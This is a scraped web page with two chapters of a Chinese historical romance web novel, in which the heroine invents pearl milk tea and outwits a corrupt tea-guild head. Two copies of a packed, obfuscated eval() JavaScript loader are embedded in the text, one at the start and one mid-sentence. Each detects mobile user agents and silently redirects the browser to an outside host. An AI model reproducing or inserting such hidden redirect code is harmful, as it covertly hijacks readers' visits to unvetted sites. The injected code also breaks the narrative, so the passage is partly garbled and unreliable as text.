;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359026|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!茶行库房走水了!”他拽着江心月就要往外跑。 “等等!”呆六娘扔了豆荚筐,连围裙都忘了摘。 三人踩着石板路往东街狂奔。江心月边跑边挽袖子:“火势多大?可有人困着?” “赵浩广正带着伙计泼水,可我瞧着......”浔阳秋突然刹住脚,指着远处翻腾的黑烟,“你闻这味儿!” 江心月抽了抽鼻子。焦糊气里混着股熟杏子的甜腻,熏得人喉头发紧。 呆六娘突然揪住她胳膊:“这哪是茶叶焦味?倒像我家打翻的那坛子枇杷膏!” 东街茶行后院腾起的黑烟裹着火星子,把半片夜空都染成了橙红色。 赵浩广提着铜盆来回跑,缎面袍子下摆溅满泥浆:“泼西墙!快泼西墙!” 江心月提着裙摆蹲在屋顶,轻声对身旁人说:“你说那批霉茶烧了几成?” 浔阳秋嗅着空气里的桐油味:“怕是十成十。” “你闻。”浔阳秋忽然扯了扯她袖角。 夜风卷来的焦糊味里混着丝甜腻,像是过年熬糖糕烧糊了锅底。 呆六娘倒抽冷气:“桐油!这哪是救火,分明是......” 江心月捂住她嘴蹲下身。 墙根下传来赵浩广的吼声:“泼完这桶桐油赶紧撤!等衙役来了就说茶叶自燃的!” 晨光微熹时,库房只剩几根焦黑木梁斜插在废墟里。 浔阳秋用折扇拨开灰堆,指着烬里扒出几片未燃尽的油纸:“昨儿我们见的潮州油纸,可是这个纹样?” 江心月用竹夹小心翼翼夹起一片:“这可是好证据。” 纸角印着褪色的红牡丹,正是岭南茶商惯用的标记。隔壁染坊传来第一声鸡鸣,她刚要收进帕子,手腕被扇柄轻轻压住。 “让灰堆再晾晾。”浔阳秋朝茶行前门抬了抬下巴。 赵浩广正扯着账房先生往库房拽,算盘珠子哗啦啦洒了一地。 “不急。”浔阳秋拦住她,“等他把假账做全了,咱们再添把火。” 早市刚开张,云来茶馆就卸下了门板。“新茶贱卖”的杉木牌子用麻绳挂在屋檐下,被晨风吹得直打转。 对街馄饨摊刚支起灶台,江心月已经在茶馆对面摆好了三张条凳。 铜壶在红泥小炉上咕嘟咕嘟冒着热气,她敲着铜锣吆喝:“免费茶汤解腻,专解霉味积食!” 粮店伙计第一个凑过来:“给我满上!昨儿掌柜逼着我们吃了一天霉茶煮的茶叶蛋,这会儿胃里还泛酸水呢!” 竹帘猛地被掀开,赵浩广攥着账本冲了出来,绸裤上还沾着昨夜救火留下的黑灰:“心月,你存心跟我过不去是不是?” “赵老板这话说的。”浔阳秋端着青瓷碗从人群中走出来,身后跟着两个巡街的衙役,“大热天的,请官差喝口凉茶也算搅局?” 穿皂靴的衙役接过茶碗抿了一口,突然“呸”地吐在地上:“这霉味!” “大人明鉴。”江心月拎起茶壶,给他看里面的茶渣,“这可是从贵府库房灰堆里扒拉出来的,烧成炭了还这么够味呢。” 赵浩广手里的账本“啪”掉在青石板上。 晨风吹开纸页,露出里面新墨写的“三月新茶”字样,可纸角分明印着去岁的干支。 卖豆腐的王婆子踮脚瞅见了,拍着大腿喊:“作孽哟!这霉茶敢情是去年没卖完的!” 人群顿时骚动起来。卖肉的张屠户挤到前面:“我说怎么喝了赵家的茶总闹肚子!”他撸起袖子,露出胳膊上的红疹,“看,这都是喝出来的!” 药铺的学徒也凑过来:“难怪最近治肠胃病的方子多了三成!” 赵浩广脸色铁青,正要发作,却被衙役拦住:“赵会长,这事可得好好说道说道。” 浔阳秋慢悠悠地摇着折扇:“要我说,不如请赵会长把这‘新茶’都泡了,让街坊们都尝尝鲜?” 江心月适时地递上一壶刚泡好的茶:“各位都来评评,这‘新茶’到底新不新!” 茶馆门口顿时乱作一团。赵浩广的伙计们想拦又不敢拦,只能眼睁睁看着街坊们你一碗我一碗地尝那发霉的茶汤。每喝一口,就多一声骂。 卖糖人的老孙头啐了一口:“呸!这味儿比我那馊了的糖浆还冲!” 粮店掌柜气得直跺脚:“老赵啊老赵,你这不是坑人吗?” 赵浩广面色涨红,呼吸粗重,上好的绸缎衣裳皱巴巴地贴在身上。他恶狠狠地瞪了江心月一眼,却被浔阳秋挡在了中间。 “赵会长,”浔阳秋笑眯眯地说,“您这账本上的墨迹还没干透呢。” 两个衙役对视一眼,其中一个掏出了铁链:“赵会长,劳烦跟我们走一趟吧。” 人群爆发出一阵欢呼。江心月长舒一口气,转头看向浔阳秋,发现他正冲自己眨眼睛。 晨光中,他的笑容比初升的太阳还要耀眼。 5. 第 5 章 阴暗潮湿的牢房里,赵浩广正烦躁地踢着墙角的老鼠。 忽然,牢门铁链哗啦作响,一个衙役提着灯笼走了进来。 “赵会长,”衙役左右张望了一下,压低声音道:“刚接到口信。” 赵浩广猛地站起身,镣铐哗啦作响:“上头怎么说?” 衙役搓了搓手:“上头说...这事儿闹得满城风雨,面子上总得过得去。”他凑近了些,“委屈您在这儿待几天,等风头过去...” “待几天?”赵浩广一把抓住栏杆,“我可是替......办事的!” “嘘——”衙役紧张地回头张望,“上头说了,该给您的补偿一分不会少。但眼下...”他做了个噤声的手势,“得做做样子。” 赵浩广松开手,重重坐回草堆上:“那丫头呢?就这么放过她?” 衙役赔着笑:“上头说...让您暂时别去招惹那个卖羊奶茶的。听说...”他声音更低了,“那浔阳公子在摄政王面前很说得上话。” 牢房外传来脚步声,衙役立刻直起腰,提高嗓门:“赵浩广!老实待着!”又小声补了句,“吃的喝的我会照应,您多担待。” 赵浩广阴沉着脸,看着衙役离开的背影。 他抓起地上的破碗狠狠砸向墙壁,瓷片四溅。 隔壁牢房的犯人被惊醒,不满地嘟囔了几句。 月光透过狭小的铁窗照进来,在地上投下一小方光亮。 赵浩广盯着那光亮,牙齿咬得咯咯作响。 ———— 江心月蹲在后院的石磨旁,手里揉着一团黏糊糊的木薯淀粉。 呆六娘蹲在旁边,好奇地探着脑袋:“三娘,你这是在做什么稀奇玩意儿?” 江心月把淀粉团搓成一个个小圆球,轻轻丢进煮沸的羊奶茶里。不一会儿,一颗颗晶莹剔透的小珍珠浮了上来,在茶汤里欢快地跳跃。 “来,尝尝看。”江心月舀了一勺珍珠放进碗里,轻轻晃了晃。 呆六娘犹豫地捏起一颗放进嘴里,嚼了两下,眼睛顿时亮了起来:“咦?糯糯的,还有点甜!” “裹了黑糖煮的,”江心月笑着解释,“待会儿泡在奶茶里,吸饱了茶香,味道会更好。” 呆六娘迫不及待又捏了一颗塞进嘴里,含糊不清地问:“那咱们明天就卖这个?” 江心月自己也尝了一颗,满意地点点头:“我想着光喝羊奶茶太单调,就琢磨着加点嚼头。” “这小圆球亮晶晶的,跟珍珠似的。”呆六娘又舀了一勺,“要不就叫珍珠奶茶吧?” “好名字!”江心月眼睛一亮,这正是她心里想的。 “明天咱们就去夜市卖这个。” 两人正说着,陈婶急匆匆跑进后院:“江心月,赵会长派人来了,说要买你的奶茶方子。” 江心月和呆六娘对视一眼,异口同声:“不卖!” “可是......”陈婶搓着手,“他们开价二十贯呢。” “陈婶,”江心月把最后一颗珍珠捞出来,“这珍珠奶茶是我和六娘一起琢磨出来的,我们要靠它过日子呢。” 呆六娘挽住江心月的胳膊:“就是,我们要自己卖,才不卖给赵会长。” 陈婶叹了口气:“你们这些丫头啊......” 她忽然压低声音,“我听说赵会长要在夜市开个茶铺,专门卖羊奶茶。” 江心月不慌不忙地收拾着灶台:“让他开去,咱们的珍珠奶茶可比羊奶茶有意思多了。” “就是,”呆六娘帮腔,“咱们明天多准备些珍珠,让客人们都尝尝新鲜。” 江心月笑着点头:“好,咱们这就去磨木薯粉。” 她突然想起什么,“对了六娘,明天你帮我去打听打听那个浔阳公子的来头?能让赵会长的人都给面子,肯定不简单。” “包在我身上!”呆六娘拍着胸脯保证。 江心月突然促狭地笑了:“咦?你现在怎么不怕陈婶了?刚才还......”她模仿着呆六娘刚才挽着自己胳膊的样子。 呆六娘脸一红:“陈婶人其实挺好的。” “嗯,是挺好的。”江心月意味深长地点头。 “三娘!”呆六娘佯装生气。 “我说真的嘛,陈婶人就是挺好的。”呆六娘吐了吐舌头。 ———— 天边刚泛起鱼肚白,江心月就轻手轻脚地起床了。她摸黑点起油灯,开始准备今天要用的材料。 木薯粉要现搓成珍珠丸子,茶叶要提前炒制,羊奶得赶早市买最新鲜的。 “三娘,这么早就起了?”呆六娘揉着眼睛从里屋出来。 “得赶在夜市前把珍珠丸子做好。”江心月手上不停,麻利地揉着面团,“你去帮我把昨儿买的蜂蜜拿来。” 呆六娘打着哈欠去取蜂蜜,不小心踢翻了小板凳。“哎哟!” “小声点儿!”江心月连忙制止,“别把陈婶吵醒了。” 两人轻手轻脚地忙活着,直到天光大亮。陈婶推门进来时,看见桌上已经摆好了几大盆搓好的珍珠丸子。 “嚯,起得够早啊。”陈婶挽起袖子,“我来帮你们煮丸子。” “陈婶,您再尝尝今天的味道。”江心月舀了一勺刚煮好的奶茶递过去。 陈婶抿了一口,眼睛一亮:“比昨儿个的还香!你这是加了什么?” “秘密配方。”江心月俏皮地眨眨眼,往锅里又撒了把炒香的芝麻。 两人推着小车来到夜市时,夕阳还没完全落下。江心月特意选了个离云来茶馆远些的位置,免得被赵浩广的人看见。 呆六娘抱着木桶跟在她身后,桶里装满了搓好的木薯珍珠。她探头看了看锅里煮着的茶汤,小声问:“三娘,这珍珠真能卖出去?” “你不是尝过了吗?这么没有信心?”江心月把煮好的羊奶茶倒进大瓷壶里,又往旁边的小锅里加了半勺蜂蜜搅匀,“今天不卖羊奶茶了,改卖珍珠奶茶。” 呆六娘咽下嘴里的珍珠,有点担心:“可老客们都是冲着羊奶茶来的,突然换新的,他们能认吗?” 江心月把木牌往摊前一挂,上面歪歪扭扭写着——“珍珠奶茶,五文一碗,不好喝不要钱”。 “试试不就知道了?” 第一位客人来了。 是常来买羊奶茶的货郎老张,扁担在他肩上压出一道深深的印子。 他走近一看,皱起眉:“咦?今天不卖羊奶茶了?” 江心月舀了一碗递过去:“新口味,珍珠奶茶,您尝尝?” 老张接过碗,低头瞅了瞅:“这黑珠子是啥?” “木薯搓的丸子,裹了黑糖煮的,嚼着香。” 老张将信将疑地喝了一口,眉头先是一皱,又慢慢舒展开。 他咂咂嘴,又喝了一大口,含含糊糊地说:“怪...怪好喝的!” 呆六娘眼睛一亮:“真的?” 老张把碗里的珍珠嚼得咯吱响,点点头:“比羊奶茶甜,这丸子有意思,像嚼糯米团子,但又没那么黏牙。” 江心月笑眯眯地问:“那再来一碗?” 老张摸了摸肚子,掏出五文钱:“行,再来一碗!” 第二位客人是个带着孩子的妇人。 小孩眼巴巴地盯着锅里的奶茶,拽着娘的袖子:“娘,我想喝那个!” 妇人犹豫了一下:“这黑乎乎的,能喝吗?” 呆六娘赶紧舀了一小勺递过去:“婶子尝尝,不要钱!” 妇人抿了一口,眼睛微微睁大:“哟,还挺香!” 小孩已经等不及了,踮着脚伸手:“娘,我也要!” 妇人笑着掏出钱:“那来一碗吧,少放点糖,别太甜。” 江心月麻利地舀了一碗,特意少加蜂蜜,又往碗里多放了几颗珍珠:“孩子爱嚼这个。” 小孩捧着碗,咕咚咕咚喝了一大口,腮帮子鼓鼓的,嚼得欢快。妇人看他吃得香,也忍不住尝了一口,点点头:“确实不错。” 第三位客人是隔壁糖水铺的老板娘。 她原本只是路过,见江心月摊前围了几个人,好奇地凑过来:“哟,换新花样了?” 江心月笑着递过去一碗:“李婶尝尝?” 李婶接过碗,先闻了闻,又小心地喝了一口,眉毛一挑:“甜的?” “加了蜂蜜,比羊奶茶甜一些。” 李婶嚼了嚼珍珠,若有所思:“这丸子倒是新鲜,比我家糖水里的芋圆有嚼劲。” 呆六娘紧张地问:“李婶觉得能卖出去吗?” 李婶哈哈一笑:“你这丫头,还怕没人买?”她拍了拍呆六娘的肩膀,“放心,待会儿我帮你吆喝两声,保管客人排长队!” 有这三位客人开头,果然,没过多久,小摊前就排起了队。 “听说这奶茶里加了黑糖丸子?” “对,珍珠奶茶,五文一碗!” “给我来一碗!” “我也要!” 江心月像个停不下来的陀螺在灶台前打转,呆六娘在旁边收钱、递碗,笑得合不拢嘴。 一个穿着绸衫的公子哥摇着扇子走过来,看了看牌子,挑眉:“珍珠奶茶?珍珠呢?” 江心月指了指锅里的黑糖珍珠:“这就是珍珠。” 公子哥凑近瞧了瞧,笑了:“珍珠长这样?” 呆六娘不服气:“您尝尝嘛,不好喝不要钱!” 公子哥接过碗,慢悠悠地喝了一口,嚼了两下,突然顿住。 呆六娘紧张地盯着他:“……怎么样?” 公子哥没说话,又喝了一大口,然后从钱袋里摸出一小块碎银子,往摊上一放:“再来三碗,我带回去给家里人尝尝。” 夜色渐深,锅里的奶茶见了底,珍珠也卖光了。 江心月数了数钱袋里的铜板,嘴角忍不住翘起来:“比卖羊奶茶赚得多。” 呆六娘兴奋地点头:“明天还卖这个?” 江心月笑着敲了敲她的脑袋:“明天多搓点珍珠,今天这点根本不够卖。” 呆六娘揉了揉脑袋,嘿嘿一笑:“好!” 两人收拾着摊子,远处传来更夫的梆子声。夜市渐渐散了,但她们的珍珠奶茶,却已经在西市传开了。 ———— 又是一天,夜市灯火通明,江心月的小摊前排着长队。 她系着干净的蓝布围裙,手腕灵活地翻动着,一勺勺晶莹的珍珠落入杯中。 “三娘,给我多加些珍珠!”熟客王婶递过铜钱。 江心月正要应声,人群突然骚动起来。 只见赵浩广带着两个衙役横冲直撞地挤到摊前,他身上的衣服皱巴巴的,衣摆还沾着几根稻草。 “赵会长,”江心月放下木勺,声音不卑不亢,“衙门这么快就放您出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359027|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了?” “托你的福。”赵浩广阴着脸,手指重重敲在摊位上,“这珍珠奶茶,交税了吗?” 江心月从腰间解下一个小布袋,掏出叠得整齐的税单:“每日的市集税一文不少。李衙役亲自收的,您看这印章。” 赵浩广一把抢过税单,三两下撕得粉碎:“现在改规矩了,茶饮另收三成茶税!” 队伍里顿时炸开了锅。卖糖葫芦的老汉气得直跺脚:“这不是明抢吗?” “赵会长,”江心月不慌不忙地擦了擦手,“茶税是贡茶才交的。我这是小吃摊,交的是市税。” 赵浩广冷笑一声:“用了茶叶就得交茶税!”他转头对衙役喝道,“封了她的摊!” 年轻些的衙役为难地搓着手:“赵会长,这不合规矩......” “规矩?”赵浩广突然提高嗓门,唾沫星子飞溅,“她往茶里加这些乱七八糟的东西,吃坏了人谁负责?” 正僵持着,人群后方传来一个清朗的声音:“赵会长好大的官威啊。” 人群自动分开,浔阳秋摇着折扇缓步走来。他身后跟着个面容严肃的中年官员,官服上的补子显示品级不低。 赵浩广脸色骤变,慌忙行礼:“周...周大人?您怎么......” 周大人眉头紧锁:“赵浩广,你刚保释出来就滥用职权?” “下官不敢!”赵浩广额头渗出冷汗,拱手时袖子都在发抖,“只是这丫头......” “我看了她的税单。”周大人打断他,弯腰捡起地上被撕碎的纸片,“完全合规。倒是你......”他意味深长地看了眼赵浩广。 赵浩广灰溜溜地挤出了人群,背影狼狈不堪。围观的百姓们爆发出一阵欢呼。 浔阳秋凑到江心月耳边,温热的气息拂过她的耳廓:“我本打算请周大人来尝尝你的珍珠奶茶,没想到正好碰上这出。” 江心月抿嘴一笑,舀了杯奶茶双手递给周大人:“大人尝尝?” 周大人接过抿了一口,眼睛一亮:“嗯!这珍珠有意思,又弹又糯。”他转头对浔阳秋笑道,“浔阳啊,你这朋友手艺不错。” 夜市重新热闹起来。江心月一边麻利地招呼客人,一边偷瞄正在和周大人谈笑的浔阳秋。 月光下,他侧脸的轮廓格外分明,说到兴起时眼角的细纹都透着笑意。 “三娘,再来一杯!”客人的呼唤拉回她的思绪。 “好嘞!”江心月利落地舀着珍珠,心里突然涌起一个念头:或许,这珍珠奶茶的生意,真能做得更长久些。 不远处,浔阳秋似乎感应到她的目光,回头冲她微微一笑。 ———— 赵浩广一脚踹开茶馆后门,木门撞在墙上发出“砰”的一声巨响。正在擦桌子的伙计小王手一抖,抹布“啪嗒”掉在地上。 “都给我滚过来!”赵浩广扯着嗓子吼道,声音震得柜台上的茶具嗡嗡作响。 几个伙计战战兢兢地围过来。老张缩着脖子,小李的手还在发抖,小王弯腰想捡抹布,被赵浩广一脚踢开。 “会、会长...”老张刚开口,赵浩广已经抓起桌上的青花茶壶,“咣当”一声砸在地上。滚烫的茶水溅到小李裤腿上,烫得他直跳脚。 “废物!都是废物!”赵浩广来回踱步,官服下摆扫过地上的碎瓷片,“老子在牢里蹲着,你们倒好,连个卖奶茶的丫头都收拾不了!” 账房先生老刘缩着脖子凑过来:“会长,那浔阳公子...” “浔阳公子?”赵浩广猛地转身,一把揪住老刘的衣领,把他提得脚尖离地,“我养你们这么多年,还不如一个毛头小子?” 厨房里突然传来“哐当”一声,是锅铲落地的声响。赵浩广松开老刘,一个箭步冲过去,看见胖厨子老周正手忙脚乱地捡锅铲。 “你!”赵浩广指着老周的鼻子,唾沫星子喷了他一脸,“明天开始,我们也卖奶茶!” 老周结结巴巴地擦着汗:“可、可咱不会做那个珍珠...” “不会就学!”赵浩广抓起案板上的擀面杖,“咚”地砸在灶台上,“要是卖不过那个丫头,你们都给我卷铺盖走人!” 他气冲冲地回到前厅,看见小二正在偷偷捡地上的瓷片,又是一脚踹过去:“捡什么捡!去把库房那些陈茶都给我搬出来!” 老刘战战兢兢地凑过来:“会长,那些茶都发霉了......” “你懂个屁!”赵浩广抓起算盘就朝老刘砸去,老刘慌忙躲开,算盘珠子散了一地,“掺点香精,谁知道是陈的?” “可您才出来......”老刘话说到一半赶紧闭嘴。 茶馆里顿时鸦雀无声,只听见赵浩广“呼哧呼哧”的喘气声。他瘫坐在太师椅上,突然冷笑起来:“等着瞧,看谁能笑到最后...” 窗外,对街夜市传来阵阵欢笑声。江心月清脆的嗓音格外刺耳:“珍珠奶茶,买一送一咯!” 赵浩广的脸色“唰”地变得铁青,拳头攥得“咯咯”响。老周缩在厨房门口,小声对老张说:“完了,今晚又得加班试做奶茶了......” 老张苦着脸:“你还好,我待会儿还得去对面买杯奶茶回来让会长研究......” 这时赵浩广突然站起来,吓得两人立刻闭嘴。只见他阴沉着脸走到窗前,“啪”地关上窗户,可江心月的叫卖声还是隐隐约约传了进来。 6. 第 6 章 赵浩广猛地一拍桌子,把账房先生老刘吓得一哆嗦。 “木薯!”他眼睛一亮,声音都高了八度,“那天夜里在柴房看到的,江心月那丫头用的就是木薯!” 老刘一脸茫然:“会长,什么木薯?” 赵浩广不耐烦地挥手:“蠢货!珍珠奶茶里的珍珠,不就是木薯粉做的?”他转头冲厨房吼了一嗓子,“老周!滚出来!” 胖厨子老周慌慌张张跑出来:“会长,您叫我?” “库房后头是不是堆着木薯?”赵浩广瞪着他。 老周挠了挠头:“是、是有几袋,去年收的,一直没人用……” 赵浩广冷笑一声:“现在有人用了!”他大步走向库房,老周和老刘赶紧跟上。 库房里灰尘扑扑,角落里堆着几袋发干的木薯。赵浩广一把扯开麻袋,抓出一把木薯粉在手里搓了搓,粉末簌簌往下掉。 “就这个!”他转头盯着老周,“今晚你就给我试,做不出珍珠来,明天别想吃饭!” 老周愁眉苦脸地蹲下去收拾木薯粉,嘴里小声嘀咕:“这玩意儿咋弄啊……” 老刘小心翼翼插嘴:“要不……咱去对面买一杯,看看人家咋做的?” 赵浩广听见了,又是一脚踹在麻袋上:“弄不出来,你就滚蛋!”说完,他甩手走了出去,库房门被他摔得“哐当”一声响。 老刘叹了口气,蹲下来帮老周捡木薯粉:“老周啊,咱今晚别想睡了……” 老周哭丧着脸:“我连珍珠长啥样都不知道啊!” 外头,赵浩广站在茶馆门口,盯着对面江心月的奶茶摊,眼神阴冷。 对面摊位上,江心月正麻利地给客人装奶茶,竹勺在木桶里搅得哗啦响。 她抬头瞥见赵浩广,手上动作顿了顿,随即露出个明媚的笑:“赵会长,要来杯奶茶吗?新熬的珍珠呢。” 这话像刀子似的扎进赵浩广耳朵里。他腮帮子咬得发硬,突然扭头冲回茶馆,差点撞翻正在擦门槛的小王。 “老周!死哪去了?”他踹开厨房门,灶台上乱七八糟堆着木薯粉,老周正对着盆稀糊糊发愁。 “会长,这、这粉它不成团啊......”老周举着沾满黏糊的手,活像戴了双白手套。 赵浩广抄起灶台上的水瓢“咣”地砸进面盆,溅起的面浆糊了老周一脸:“加水不会?你当是拌水泥呢!” 账房老刘扒着门框探头:“要不我让小李去药铺买点硼砂?听说对面......” “放你娘的屁!”赵浩广一把揪住老刘的衣襟,“想让老子吃死人官司?”他甩开老刘,突然抓起案板上的菜刀,吓得老周往后一踉跄。 “看好了!”赵浩广舀了勺木薯粉,边加水边揉,“当年老子在岭南......”话说半截突然卡住,手上力道更重了,面团被捶得砰砰响。 突然传来“扑”一声闷响。 “什么动静?!”赵浩广猛地转身,菜刀还攥在手里。老周吓得一个激灵,面盆“咣当”掉在地上。 小王慌慌张张从后院跑进来:“会、会长!是装木薯的麻袋倒了......” 赵浩广三步并作两步冲进后院。月光下,三袋木薯粉全撒了,白花花铺了一地。看仓库的老张正撅着屁股收拾,见他来了赶紧站起来:“会长,这架子年久失修......” “废物!”赵浩广一脚踹翻旁边的空箩筐,“老子的本钱全让你们糟蹋完了!”他弯腰抓起一把木薯粉,粉末从指缝簌簌漏下。 老刘战战兢兢凑过来:“要不...我连夜去粮行再买些?” “买?”赵浩广冷笑,突然揪住老张的衣领,“说!是不是对面那丫头给你钱了?” 老张吓得直摆手:“天地良心!我老张跟您十年......” “会长!”老周突然举着个布包从厨房跑出来,“您看这个!”他抖开布包,里面是几颗圆溜溜的黑珍珠,“我在面缸后头找到的,准是小李那兔崽子偷藏的!” 赵浩广捏起一颗珍珠对着灯笼看,眼睛眯成一条缝:“好小子,吃里扒外。”刀尖突然一转指向街对面:“去!买二十杯回来!” 小王哆哆嗦嗦:“会、会长,咱不是要自己做......” “让你去就去!”赵浩广踹了他一脚,“每杯珍珠数清楚,大小量明白!” 后厨传来老周的惊呼:“成了成了!”只见他捧着几个歪七扭八的面疙瘩,笑得满脸褶子:“会长您看,像不像珍珠?” 赵浩广捏起一个,硌得手指生疼。他阴着脸把“珍珠”摔回盆里:“这玩意狗都不吃!” 老周沾着满手面糊蹭过来:“会长,要不咱们改卖酸梅汤......” “卖你个头!”赵浩广劈手夺过面盆,稀里糊涂的面浆溅了两人一身。他盯着盆里不成型的“珍珠”,突然冷笑:“天亮前,必须做出珍珠!”他踹开厨房门,“老子亲自盯着!” 厨房里,面缸、水盆摆了一地。赵浩广撸起袖子,木薯粉扬得满屋白雾蒙蒙。老周小声问:“会长,真要通宵啊?” “再废话,”赵浩广把菜刀剁进案板,“老子先拿你试刀!” “会、会长!”小王递上一个食盒,赵浩广揭开一看,二十杯奶茶摆得整整齐齐,每杯插着竹管,珍珠颗颗饱满。 老周探头一看:“哟,这珍珠真漂亮......” “漂亮顶个屁用!”赵浩广把陶罐往案板上一墩,“给我研究!一粒粒拆开看!” 老周愁眉苦脸地捏起一颗珍珠,放在砧板上小心剖开。白生生的芯子露出来,他沾了点尝了尝:“会长,是红糖味的......” 赵浩广突然夺过菜刀,“咔嚓”把剩下的珍珠全剁碎了。碎珍珠滚得满案板都是,像一地黑芝麻。 “红糖......木薯粉......”他喃喃自语,突然扯过面盆,“老周,烧水!” 夜深了,茶馆厨房里的油灯“噼啪”爆了个灯花。赵浩广瞪着锅里煮烂的面疙瘩,眼珠子通红。老周缩在灶台后头,偷偷把一团面疙瘩塞进嘴里,立刻“呸呸”吐了出来。 “会长,这玩意儿又苦又涩......”老周苦着脸。 赵浩广抓起擀面杖就砸过去:“谁让你尝的?”擀面杖“咣当”砸在铜锅上,吓得外间打瞌睡的小李一激灵。 老刘揉着眼睛进来:“会长,都三更天了,要不......” “要不什么?”赵浩广一把掀开锅盖,热气“呼”地扑了他一脸。锅里的面疙瘩早就煮成了一锅浆糊,黏黏糊糊冒着泡。 “没什么、没什么。” ———— 而这边江江心月正弯腰往木桶里添新熬的奶茶,忽然一阵浓郁的异香钻进鼻子。她抬头看见个戴绣花小帽的西域商人站在摊前,浓密的胡子随着吞咽口水的动作一抖一抖。 “姑娘,这个黑珠珠的甜水,给我来一碗。”阿尔罕操着生硬的官话,手指上的宝石戒指在日光下闪闪发亮。 江心月麻利地舀了杯奶茶递过去:“客官慢用,小心烫。” 阿尔罕接过竹杯,先是像品茶似的嗅了嗅,接着“咕咚”灌了一大口,奶沫沾在他卷曲的胡子上。 他眼睛瞪得溜圆:“这比我们那儿的马奶酒还香!”说着从怀里掏出个绣着金线的布包,掀开一角露出晶莹剔透的琉璃盏:“我用这个换你的方子,怎么样?” 旁边几个买奶茶的姑娘凑过来,对着琉璃盏发出惊叹。 江心月刚要摇头,突然闻到阿尔罕身上飘来一阵她从没闻过的香气。她眼睛一亮:“您身上这香料味儿真好闻,是西域来的吧?” “我叫阿尔罕,从疏勒国来。”阿尔罕得意地拍拍腰间鼓鼓的皮囊,“上好的肉桂、丁香,还有稀有的肉桂,骆驼走了三个月才运来的。” 他解开皮囊,一股浓郁的香气立刻飘散开来。 江心月深吸一口气,突然有了主意:“这样吧,您要是能定期给我供应这些香料,我就教您做珍珠奶茶。” 阿尔罕的胡子激动地翘了起来:“当真?” “当真。”江心月掀开装珍珠的罐子,“您看,这黑珍珠要用红糖,要是加点肉桂......” 阿尔罕哈哈大笑,震得腰间挂着的铜铃叮当作响:“聪明的姑娘!比我们那儿的商人还会做生意!” 江心月抿嘴一笑:“不过有个条件——这配方您只能在西域用,不能在中原传授。” “成交!”阿尔罕重重地拍了下手掌,震得桌上的茶杯都跳了跳,“我下个月商队来,就给您带最好的香料!第一包就当见面礼!”说着就从皮囊里掏出一小包香料塞给江心月。 两人相视一笑。人声鼎沸中,这笔特别的交易就这样达成了。 江心月捏着香料包,心里已经开始盘算新的配方——加点肉桂的奶茶。有了这些西域香料,或许能做出更特别的奶茶来。 ———— 东方泛起鱼肚白时,茶馆厨房飘出焦糊味。赵浩广瞪着锅里煮烂的面疙瘩,眼白布满血丝。 “会长......”老周举着长勺,手腕抖得像筛糠,勺里的面糊滴滴答答落回锅里。 赵浩广突然平静下来,慢条斯理地擦着手上的面粉:“去,把招牌换了。”他嘴角扯出个僵硬的笑,“今日特供——免费凉茶。” 老刘“扑通”一声跪下:“会长三思啊!这得赔......” “赔?”赵浩广一脚踢翻面盆,白花花的面粉撒了一地,“老子要让她一杯都卖不出去!” 与此同时,江心月正在后院忙着熬煮奶茶。 呆六娘小跑着进来,辫子都跑散了:“三娘!不好了!赵浩广在茶馆门口支了凉茶摊,免费送呢!” 江心月手里的木勺顿了顿,随即又继续搅拌:“让他送。” “可是......”呆六娘急得直跺脚,“客人都往他那儿去了!” 正说着,浔阳秋摇着折扇踱进院子:“哟,这么热闹?”他凑到锅边嗅了嗅,“今天这奶茶,怎么有股特别的香气?” 江心月神秘一笑:“我加了点新得的香料。”她舀了一小杯递给浔阳秋,“尝尝?” 浔阳秋抿了一口,眼睛一亮:“这味道......” “西域的肉桂。”江心月眨眨眼,“昨儿刚跟个商队换的。” 呆六娘急得直扯江心月的袖子:“你们还有闲心品茶!赵浩广那边......” “别急。”浔阳秋慢悠悠地摇着扇子,“免费的东西,能好到哪儿去?” 果然,不到晌午时分,云来茶馆门口就乱成了一锅粥。几个常来喝茶的老街坊捂着肚子从里面冲出来,脸色发青。 “这凉茶馊了吧?”卖肉的张屠户扶着墙干呕,“喝得我直反酸水!” 赵浩广在门口跳脚,官服袖子都卷到了胳膊肘:“胡说八道!这是上好的......” “上好的馊水还差不多!”卖豆腐的王婆子“啪”地把茶碗摔在地上,瓷片四溅,“我这一把老骨头可经不起折腾,赔我药钱!” 茶馆门口顿时炸开了锅。原本排队领免费凉茶的人群一哄而散,有几个甚至直接跑到江心月的小摊前排队去了。 “三娘,你可真沉得住气。”呆六娘一边收钱一边偷笑,手指灵活地数着铜板,“你看赵浩广那脸色,跟抹了锅灰似的。” 江心月笑而不语,继续搅动着锅里的奶茶。新加的肉桂香气在空气中飘散,引得排队的人直吸鼻子。 浔阳秋靠在旁边的老柳树上,一片柳叶落在他肩头也浑然不觉。他看着江心月忙碌的身影,眼里带着藏不住的笑意:“看来某人偷鸡不成蚀把米啊。” 正说着,茶馆里传来“哗啦 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“秋哥儿偏心!”呆六娘故意嚷嚷,“上回我想帮你搅锅,你嫌我手重!” 江心月抿嘴笑着擦汗,忽然听见“咣当”一声。赵浩广把茶桶踢得滚出老远,正骨碌碌朝这边撞来。 排队的人群惊呼着散开,浔阳秋一把将江心月拉到身后。 木桶在摊前三尺处被块青石板卡住,晃了两圈不动了。 江心月从浔阳秋背后探出头,正对上赵浩广喷火的眼睛。 